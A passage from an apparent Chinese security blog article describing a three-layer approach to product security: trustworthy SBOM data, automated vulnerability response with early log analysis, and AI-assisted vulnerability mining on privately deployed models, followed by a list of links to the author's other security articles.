border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">把组件变更纳入发版检查项</span></span></span></td></tr></tbody></table>
|
||||
数据不准，自动化再强也是空中楼阁。
|
||||
##
|
||||
## 第二层：流程自动化——从"人工跑"到"机器跑"
|
||||
> 数据底座有了，第二步是让流程跑起来。
|
||||
|
||||
## 漏洞响应自动化效果对比，先看效果：
|
||||
<table><thead><tr style="box-sizing: border-box;"><th style="box-sizing: border-box;"><span cid="n236" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">环节</span></span></span></th><th style="box-sizing: border-box;"><span cid="n237" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">过去</span></span></span></th><th style="box-sizing: border-box;"><span cid="n238" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">自动化后</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n240" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">判断漏洞严重性</span></span></span></td><td style="box-sizing: border-box;"><span cid="n241" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">人工分析，数小时</span></span></span></td><td style="box-sizing: border-box;"><span cid="n242" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">自动聚合多源情报，30 分钟内</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n244" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">确认影响面</span></span></span></td><td style="box-sizing: border-box;"><span cid="n245" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">逐个问产线，2~8 小时</span></span></span></td><td style="box-sizing: border-box;"><span cid="n246" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">产品安全管理平台秒级查 SBOM，5 分钟出结果</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n248" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">通知产线</span></span></span></td><td style="box-sizing: border-box;"><span cid="n249" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">发邮件/内部IM，容易漏人</span></span></span></td><td style="box-sizing: border-box;"><span cid="n250" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">三通道自动精准推送，零遗漏</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n252" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">生成修复建议</span></span></span></td><td style="box-sizing: border-box;"><span cid="n253" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">安全人员手写，4~12 小时</span></span></span></td><td style="box-sizing: border-box;"><span cid="n254" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">自动生成，30 分钟内</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n256" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">复测验证</span></span></span></td><td style="box-sizing: border-box;"><span cid="n257" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">手动搭环境，天级</span></span></span></td><td style="box-sizing: border-box;"><span cid="n258" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">自动化 PoC 复测，小时级</span></span></span></td></tr></tbody></table>
|
||||
自动化不是目的，
|
||||
省下来的时间去干更重要的事才是目的。
|
||||
##
|
||||
## 极速模式：小时级给客户答复
|
||||
|
||||
国家级攻防演练期间，压力是完全不一样的。客户直接找上来要方案、要补丁、要时间点，SLA 压到几个小时，多方客户并发，品牌声誉悬于一线。基准流程（理想型）：
|
||||
> T+0H 漏洞情报到达 → T+4H 输出漏洞定位文档 → T+8H 输出修复方案文档 → T+24H 输出完整解决方案包
|
||||
|
||||
|
||||
极速模式下（理想型）：
|
||||
> 漏洞通报 → 平台秒级查影响产品+客户 →内部IM@负责人 + 工单自动创建 + 修复建议附送 →
|
||||
**2 小时给客户答复**
|
||||
→ 4 小时出补丁
|
||||
|
||||
|
||||
从"客户在等答案，我们还在查影响面"变成"客户刚开口，答案已经准备好了"。
|
||||
> 极速模式能不能跑起来，取决于 SBOM 数据准不准、客户台账清单准不准。
|
||||
> 数据不准，自动推送就是灾难。
|
||||
|
||||
##
|
||||
## 应急响应的第一步：日志分析前置
|
||||
|
||||
传统应急响应流程里，日志分析往往排在"确认影响面"之后，甚至被跳过。但攻击者留下的痕迹，第一时间就在日志里。在国家级攻防演习中，第一时间就是要确定漏洞。
|
||||
|
||||
|
||||
做法：在应急响应的第一步就启动日志分析，定位漏洞。实现方式上，走了两条路：
|
||||
- AI 辅助编写日志分析工具——针对不同产品的日志格式快速生成解析脚本和检测规则，降低人工编写成本
|
||||
|
||||
- 基于历史案例建攻击特征库——把常见攻击手法的日志特征沉淀下来，持续更新
|
||||
|
||||
这两条路都不算难，难的是
|
||||
持续运营。检测规则要跟着攻击手法变化持续更新，日志格式变了要同步调整解析脚本，这些不跟进，前期建得再好也会慢慢失效。
|
||||
##
|
||||
## 第三层：主动防御——让漏洞少一点
|
||||
> 前两层解决的是"水来了怎么更快排水"，但更根本的问题是——
|
||||
**能不能让水少来一点？**
|
||||
|
||||
|
||||
既然攻击者在用自动化工具挖洞，我们为什么不用同样的武器？
|
||||
##
|
||||
## 自动化漏洞挖掘，到底能多发现什么？
|
||||
|
||||
这是最常被问到的问题，必须回答清楚：
|
||||
<table><thead><tr style="box-sizing: border-box;"><th style="box-sizing: border-box;"><span cid="n315" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">漏洞类型</span></span></span></th><th style="box-sizing: border-box;"><span cid="n316" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">传统 SAST/DAST</span></span></span></th><th style="box-sizing: border-box;"><span cid="n317" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">自动化漏洞挖掘</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n319" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">已知 CVE</span></span></span></td><td style="box-sizing: border-box;"><span cid="n320" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">能查</span></span></span></td><td style="box-sizing: border-box;"><span cid="n321" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">能查 + 判断是否真正可达，减少误报</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n323" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">注入类（SQL/XSS）</span></span></span></td><td style="box-sizing: border-box;"><span cid="n324" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">能查但误报多</span></span></span></td><td style="box-sizing: border-box;"><span cid="n325" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">理解业务语义，误报降低 60%~80%</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n327" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">认证与授权缺陷</span></span></span></td><td style="box-sizing: border-box;"><span cid="n328" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">有限</span></span></span></td><td style="box-sizing: border-box;"><span cid="n329" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">强项</span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">——理解鉴权全链路</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n331" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">业务逻辑漏洞</span></span></span></td><td style="box-sizing: border-box;"><span cid="n332" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">几乎不能</span></span></span></td><td style="box-sizing: border-box;"><span cid="n333" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">核心优势</span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">——理解业务流程</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n335" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">敏感数据处理不当</span></span></span></td><td style="box-sizing: border-box;"><span cid="n336" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">正则匹配</span></span></span></td><td style="box-sizing: border-box;"><span cid="n337" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">理解数据流全路径</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n339" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">供应链投毒</span></span></span></td><td style="box-sizing: border-box;"><span cid="n340" mdtype="table_cell" style="Line truncated
|
||||
一句话总结：
|
||||
|
||||
传统工具查"已知模式"，自动化工具能查"未知逻辑"。而未知逻辑漏洞，恰恰是最危险的。但也要说清楚——自动化漏洞挖掘不是万能的。它发现的问题仍然需要人工复核，尤其是业务逻辑类的判断，目前工具还做不到完全替代人的经验。
|
||||
##
|
||||
## 代码安全吗？会不会泄露？
|
||||
|
||||
这是第二个最关心的问题，也必须回答好。方案：私有化部署，代码不出企业边界。
|
||||
<table><thead><tr style="box-sizing: border-box;"><th style="box-sizing: border-box;"><span cid="n353" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">方案</span></span></span></th><th style="box-sizing: border-box;"><span cid="n354" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">优点</span></span></span></th><th style="box-sizing: border-box;"><span cid="n355" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">缺点</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n357" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">开源模型私有化部署</span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">（DeepSeek/Qwen/Llama3）</span></span></span></td><td style="box-sizing: border-box;"><span cid="n358" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">代码和数据完全在内网，一次性投入，成本可控</span></span></span></td><td style="box-sizing: border-box;"><span cid="n359" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">需要自建算力</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n361" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">企业版 API 服务</span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">（Azure OpenAI / GLM）</span></span></span></td><td style="box-sizing: border-box;"><span cid="n362" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">无需自建算力，开箱即用</span></span></span></td><td style="box-sizing: border-box;"><span cid="n363" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">代码需传到外部，有泄露风险</span></span></span></td></tr></tbody></table>
|
||||
推进节奏上，倾向于
|
||||
先选 1~2 个非核心产品试点 3 个月，积累效果数据，再全面推广。不急着一步到位，先跑通再扩大。
|
||||
#
|
||||
# 四、总结：三层递进，环环相扣
|
||||
|
||||
把前面说的串起来，其实就三层：
|
||||
```
|
||||
┌─────────────────────────────────────┐
|
||||
│ 第三层：主动防御（自动化漏洞挖掘） │
|
||||
│ → 先于攻击者，把漏洞先挖出来、先修完 │
|
||||
├─────────────────────────────────────┤
|
||||
│ 第二层：流程自动化（响应 + 日志分析前置） │
|
||||
│ → 漏洞响应从"天级"压缩到"小时级" │
|
||||
├─────────────────────────────────────┤
|
||||
│ 第一层：数据可信（SBOM 数据底座） │
|
||||
│ → 先知道自己有什么，影响面确认秒级完成 │
|
||||
└─────────────────────────────────────┘
|
||||
```
|
||||
|
||||
安全建设最忌讳一上来就搞大而全。
|
||||
|
||||
先解决最痛的问题，把基础打扎实，再逐步往上走，效果往往比一口气搞个大平台要好得多。
|
||||
#
|
||||
# 五、为什么现在必须做
|
||||
|
||||
最后说一个不太好听但必须面对的事实：
|
||||
> **攻击者已经在用自动化工具了，国家级攻防演习就要来了...**
|
||||
|
||||
|
||||
这不是"未来趋势"，是"正在发生"。不用同样的技术守护自己的产品，等于用冷兵器对抗热武器。但做的时机很重要。不是所有事都要今天干完，但方向要对、起步要早。
|
||||
|
||||
|
||||
|
||||
|
||||
**长按识别二维码，和我交流**
|
||||
|
||||
|
||||
|
||||
|
||||
More...
|
||||
|
||||
**------ 拥抱AI ------**
|
||||
- **AI for Security：方法不对，干活越累？**
|
||||
|
||||
****
|
||||
**-- 深耕研发安全 --**
|
||||
- **数字化转型下的研发安全痛点**
|
||||
|
||||
- [从安全视角，看研发安全](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247486243&idx=1&sn=c005d9685546b13a71a21808cc528ff4&chksm=eb6c295bdc1ba04d5457bcec5a58235f08566e6732a9c05590f6a1cf530d8db001d7e58b4ab1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [基于研发过程的漏洞治理及经验](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247486266&idx=1&sn=6a0bac5a6525f4a2962bad03642efb5c&chksm=eb6c2942dc1ba054ddb43febab0efd4e847878581aa07502705c0acd2dc7ad620c77b2def8ba&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [DevSecOps实施关键：研发安全团队](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247486280&idx=1&sn=8740e7bab52e96b6c853a9a6c87573e4&chksm=eb6c2930dc1ba026268d7ea63c3e1d28a7e8c73990a263f0ac871101693d20efb14114c9fb65&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [DevSecOps实施关键：研发安全流程](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247486295&idx=1&sn=e3a89d428acfff15e59ab93398ecb393&chksm=eb6c292fdc1ba039ebdb06909a8aecf3a876778dbfa440dbc55d5ec6aca82c145c6bd0d1ff35&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [DevSecOps实施关键：研发安全规范](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247486304&idx=1&sn=a625dfefbe8e0a96e1505e50c43c07c6&chksm=eb6c2918dc1ba00ec0683d356c5a8e436d248e62786a65f9d027ac7ffa512ad15e0c4ae17df2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
**-- SDL 100问 --**
|
||||
- **SDL100问：我与SDL的故事**
|
||||
|
||||
- **SDL 1/100问：SDL与DevSecOps有何异同？**
|
||||
|
||||
- **SDL 2/100问：如何在不同企业实施SDL？**
|
||||
|
||||
- **SDL 3/100问：SAST误报太高，如何解决？**
|
||||
|
||||
- **SDL 4/100问：SDL需要哪些人参与？**
|
||||
|
||||
- **SDL 5/100问：在devops中做开发安全，会遇到哪些问题？**
|
||||
|
||||
- **SDL 6/100问：如何实施安全需求？**
|
||||
|
||||
- **......**
|
||||
|
||||
- **SDL 98/100问：针对业务部门外采购的产品，要求做安全测试吗？**
|
||||
|
||||
- **SDL 99/100问：如何进行软件安全需求分析？**
|
||||
|
||||
- **SDL100问：阶段性的完结**
|
||||
|
||||
**-- 软件供应链对抗探索 --**
|
||||
- [软件供应商面临的攻防实战风险](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485570&idx=1&sn=ec4a5ee1eff6f918fcda76480c149e17&chksm=eb6c2afadc1ba3ec16f699356f42979a7626d78fa9eafacd4f9af931f041f4fa6e7a35f44f3a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [软件供应商实战对抗十大安全举措](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485590&idx=1&sn=30d876da9d811095661f2658a86bf5eb&chksm=eb6c2aeedc1ba3f8ac6903647e0c867b66ba8810bd71fe9b31625d7de25a184725d02ec6fef5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [软件供应商攻防常规战之SDL](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485614&idx=1&sn=62c50bff7edd51d055684d34177928c6&chksm=eb6c2ad6dc1ba3c0f0f7a7eb0143981b8b44c2e182928bbd20922208a504b84ea35ebe10d788&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
**--------- 实战演习 ---------**
|
||||
- **1 何为多维度的视角**
|
||||
|
||||
- [2 关于对演习的期望](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485261&idx=1&sn=2b36b79cddc4ec47e1f19a15bbcde97c&chksm=eb6c2535dc1bac233d5ececec3b999072aa6327fb8f8957ad015d39e1a3d82c416527a5b25a3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [3 公司层面统筹布局 ](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485274&idx=1&sn=3a5ed6d1ddc61d1f3591f4d541921170&chksm=eb6c2522dc1bac34e234612f32b64965eb35041b1d1228568f634fa49da3a05686b6a6b444df&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [4 实战攻防演习下的产品安全保障 ](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485294&idx=1&sn=3db892434c1d2bd0c5e4bb947b582efe&chksm=eb6c2516dc1bac00528650d9e889669298ba8771525916bb2571c0b8b00c9b40ef74169920ac&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [5 产品安全事件定级评分方法](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485312&idx=1&sn=e39fdf699a069344538ef52a33fa2174&chksm=eb6c25f8dc1baceeebb6cfae3a4f5cf72c5744438ea29626c003dfe468d6ea9df69198dcad1a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [6 演习前红队暗泉涌动投毒](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485326&idx=1&sn=e491c8ef197341ec1548e2f5859081ac&chksm=eb6c25f6dc1bace094d3725175c56146e67037bdd1e9eff2e2b5a72f2fe902225fc585098cd6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [7 面向情报公司付费信息的应急](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485338&idx=1&sn=794ae1cf2bb72f67429528a256157b8c&chksm=eb6c25e2dc1bacf48da84f1bc449629fb376400b3489ac0d71c464aa6360de6f6c68ae7cd8dd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [8 面向互联网侧情报信息的应急](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485378&idx=1&sn=2095c2bee02fb85bf84b6a2d2c8434b2&chksm=eb6c25badc1bacac890e3c4af8b7e419dea3f2437714be0484e5dce0f58f5dae019a417913d2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [9 客户侧产品推送样本事件处置](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485401&idx=1&sn=16447bf0307326382728c9dd9d2d6bbc&chksm=eb6c25a1dc1bacb7f260de1794b9d67c78e56c10c139710e53a30d2e1cf11f80aadeb9348bbb&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- **10 某邮箱被攻击情报的自我检查**
|
||||
|
||||
- [11 办公网出口地址攻击客户蜜罐](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485421&idx=1&sn=12386445cc60938cb865e5a1e1a46a7b&chksm=eb6c2595dc1bac83fb602026d05bb0fb62a6d05dd3465ac94ac802e6cda1812089d14f0e4641&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [12 SRC白帽子突破边界进业务网](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485446&idx=1&sn=2172384d486a58158d835b08b3e5303f&chksm=eb6c2a7edc1ba36895fc327db6339572307d0ee53d1fe64f8935885fe57c2ced0f8146b204fc&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [13 某部门下发零日漏洞确认函处置](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485458&idx=1&sn=eff0ac1e623ed85e81548176aa4a6382&chksm=eb6c2a6adc1ba37c5dfc2219332d503e979423731768a131bc8818970790c7dde774f9a00dc9&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [14 公司溯源团队查到团队内部成员](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485478&idx=1&sn=d1cc6428d44ea9fad6de599a927859c2&chksm=eb6c2a5edc1ba348aef472819f8f829d6158f66d7d2c9658446bbd28f9493681c5241628eec4&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [15 演习后对工作技能的复盘总结](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485495&idx=1&sn=28b1027c1521174925520c988d99baf9&chksm=eb6c2a4fdc1ba35988988a9de93af04817e2958664af2fdebc03e7af568f7eac012188a3c2d4&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [16 演习后认知外的见微知著](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485519&idx=1&sn=db6420a0c8f7bb81e5ae8554c1e2c5fd&chksm=eb6c2a37dc1ba3218466ff8ba11d06a00e741e7258fd96daa61e1fcfe8e5b2326f3db649614e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
**--------- 安全运营 ---------**
|
||||
- **安全事件运营SOP：软件供应链投毒事件**
|
||||
|
||||
- **安全事件运营SOP：接收漏洞事件**
|
||||
|
||||
- **安全事件运营SOP：webshell事件**
|
||||
|
||||
- **安全事件运营SOP：蜜罐告警**
|
||||
|
||||
- **安全事件运营SOP：网络攻击**
|
||||
|
||||
- **安全事件运营SOP：钓鱼邮件**
|
||||
|
||||
- **企业级供应链投毒应急安全能力建设**
|
||||
|
||||
- [应急能力提升：实战应急困境与突破](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247484697&idx=1&sn=dff997e13495fdb3622e4bb8646b889b&chksm=eb6c2761dc1bae778997e1645757c0a6e9fed52db50ef64ca3af729e0a6327616b609ad78b6e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [应急能力提升：挖矿权限维持攻](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247484823&idx=1&sn=69462ecc159cf0fb859cd6aba19dadee&chksm=eb6c27efdc1baef96531ce6ff7ab6aa633e36567c5884d68c428a25af8a2dc14a4d0f7eabff0&scene=21#wechat_redirect)
|
||||
|
||||
[击](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247484823&idx=1&sn=69462ecc159cf0fb859cd6aba19dadee&chksm=eb6c27efdc1baef96531ce6ff7ab6aa633e36567c5884d68c428a25af8a2dc14a4d0f7eabff0&scene=21#wechat_redirect)
|
||||
|
||||
[模拟](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247484823&idx=1&sn=69462ecc159cf0fb859cd6aba19dadee&chksm=eb6c27efdc1baef96531ce6ff7ab6aa633e36567c5884d68c428a25af8a2dc14a4d0f7eabff0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [应急能力提升：内网横向移动攻击模拟](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247484887&idx=1&sn=25e229a4f57c0ff1fd929e9697cf73d0&chksm=eb6c27afdc1baeb98a17c1b8bc061fef11247aa805c0ee6981268b3d757cd5a851f796a2a2dd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [应急能力提升：实战应急响应经验](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247484926&idx=1&sn=72029ad8277ac5f6546be9c222d8fef8&chksm=eb6c2786dc1bae90805cc5f3cf181c45ce13390a93f1cc76610c8a8d7d7d5c9c124f16eee74a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [应急能力提升：应急响应报告点评](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247484940&idx=1&sn=41974bb0e67d03a48e3c66f758d51cca&chksm=eb6c2474dc1bad629679c71e1db8ab043f9bb8c92da0985fa11b0d9675fc276b35157df23d49&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [应急能力提升：应急响应专题总结会](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247484984&idx=1&sn=a940a3090a69255f9ce97f043a37627a&chksm=eb6c2440dc1bad5652e5a86a67b64700475a82729fc5446ac64b5c92dac3868354f870669de1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- **应急响应：redis挖矿（防御篇）**
|
||||
|
||||
- **应急响应：redis挖矿（攻击篇）**
|
||||
|
||||
- **应急响应：redis挖矿（完结篇）**
|
||||
|
||||
|
||||
**--------- 软件安全 ---------**
|
||||
- **开篇**
|
||||
|
||||
- **安全培训**
|
||||
|
||||
- **安全需求**
|
||||
|
||||
- **安全设计**
|
||||
|
||||
- **安全开发**
|
||||
|
||||
- **安全测试**
|
||||
|
||||
- **安全审核**
|
||||
|
||||
- **安全响应**
|
||||
|
||||
- **完结篇（全系列paper下载）**
|
||||
|
||||
- **浅谈安全产品的hvv安全之道**
|
||||
|
||||
- **Shift Left在开发安全中的应用**
|
||||
|
||||
**--------- 企业安全 ---------**
|
||||
- **企业安全建设需求**
|
||||
|
||||
- **企业安全威胁简述**
|
||||
|
||||
- **企业安全架构建设**
|
||||
|
||||
- **企业安全项目-测试环境内网化**
|
||||
|
||||
- **企业安全项目-Github信息泄露**
|
||||
|
||||
- **企业安全项目-短信验证码安全**
|
||||
|
||||
- **企业安全项目-前端绕过专项整改**
|
||||
|
||||
- **业务安全之另类隐患**
|
||||
|
||||
- **应用发布之安全隐患**
|
||||
|
||||
- **甲方眼里的安全测试**
|
||||
|
||||
- **基于堡垒机的自动化功能实践1**
|
||||
|
||||
- **基于堡垒机的自动化功能实践2**
|
||||
|
||||
- **基于堡垒机的自动化功能实践3**
|
||||
|
||||
- **基于堡垒机的自动化功能实践4**
|
||||
|
||||
- **Nmap操作系统探测技术浅析**
|
||||
|
||||
- **漏洞情报调研**
|
||||
|
||||
- **漏洞调研报告（非完整版）**
|
||||
|
||||
- **从漏洞视角看敏捷安全**
|
||||
|
||||
**--------- 渗透测试 ---------**
|
||||
- **安全运维那些洞**
|
||||
|
||||
- **安全业务那些洞**
|
||||
|
||||
- **那个简单的威胁情报**
|
||||
|
||||
- **Android APP数据存储安全**
|
||||
|
||||
- **搜集SRC信息中的“技术活儿”**
|
||||
|
||||
- **常规渗透瓶颈，发散思维突破**
|
||||
|
||||
**--------- 安全开发 ---------**
|
||||
- **python武器库**
|
||||
|
||||
- **漏洞扫描器资产处理**
|
||||
|
||||
- **python代码审计武器I**
|
||||
|
||||
- **python代码审计武器II**
|
||||
|
||||
- **Nodejs代码审计武器**
|
||||
|
||||
- **fortify漏洞的学习途径**
|
||||
|
||||
|
||||
**--------- 个人体验 ---------**
|
||||
- [如何学习这么多的安全文章（实践篇）](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247484686&idx=1&sn=12bb6d99b3e127e33c523265fc4695d6&chksm=eb6c2776dc1bae60224437b199d0774ac64cf321774f44a4596370857af2ff7ce6b5935acfa4&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [如何学习这么多的安全文章（理论篇）](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247484635&idx=1&sn=aab8f0a3e93899323db37e19f98550d3&chksm=eb6c26a3dc1bafb5710d526486d64485329bdfd16499aa9f0d079a9105d0ddb6d18644be32fa&scene=21#wechat_redirect)
|
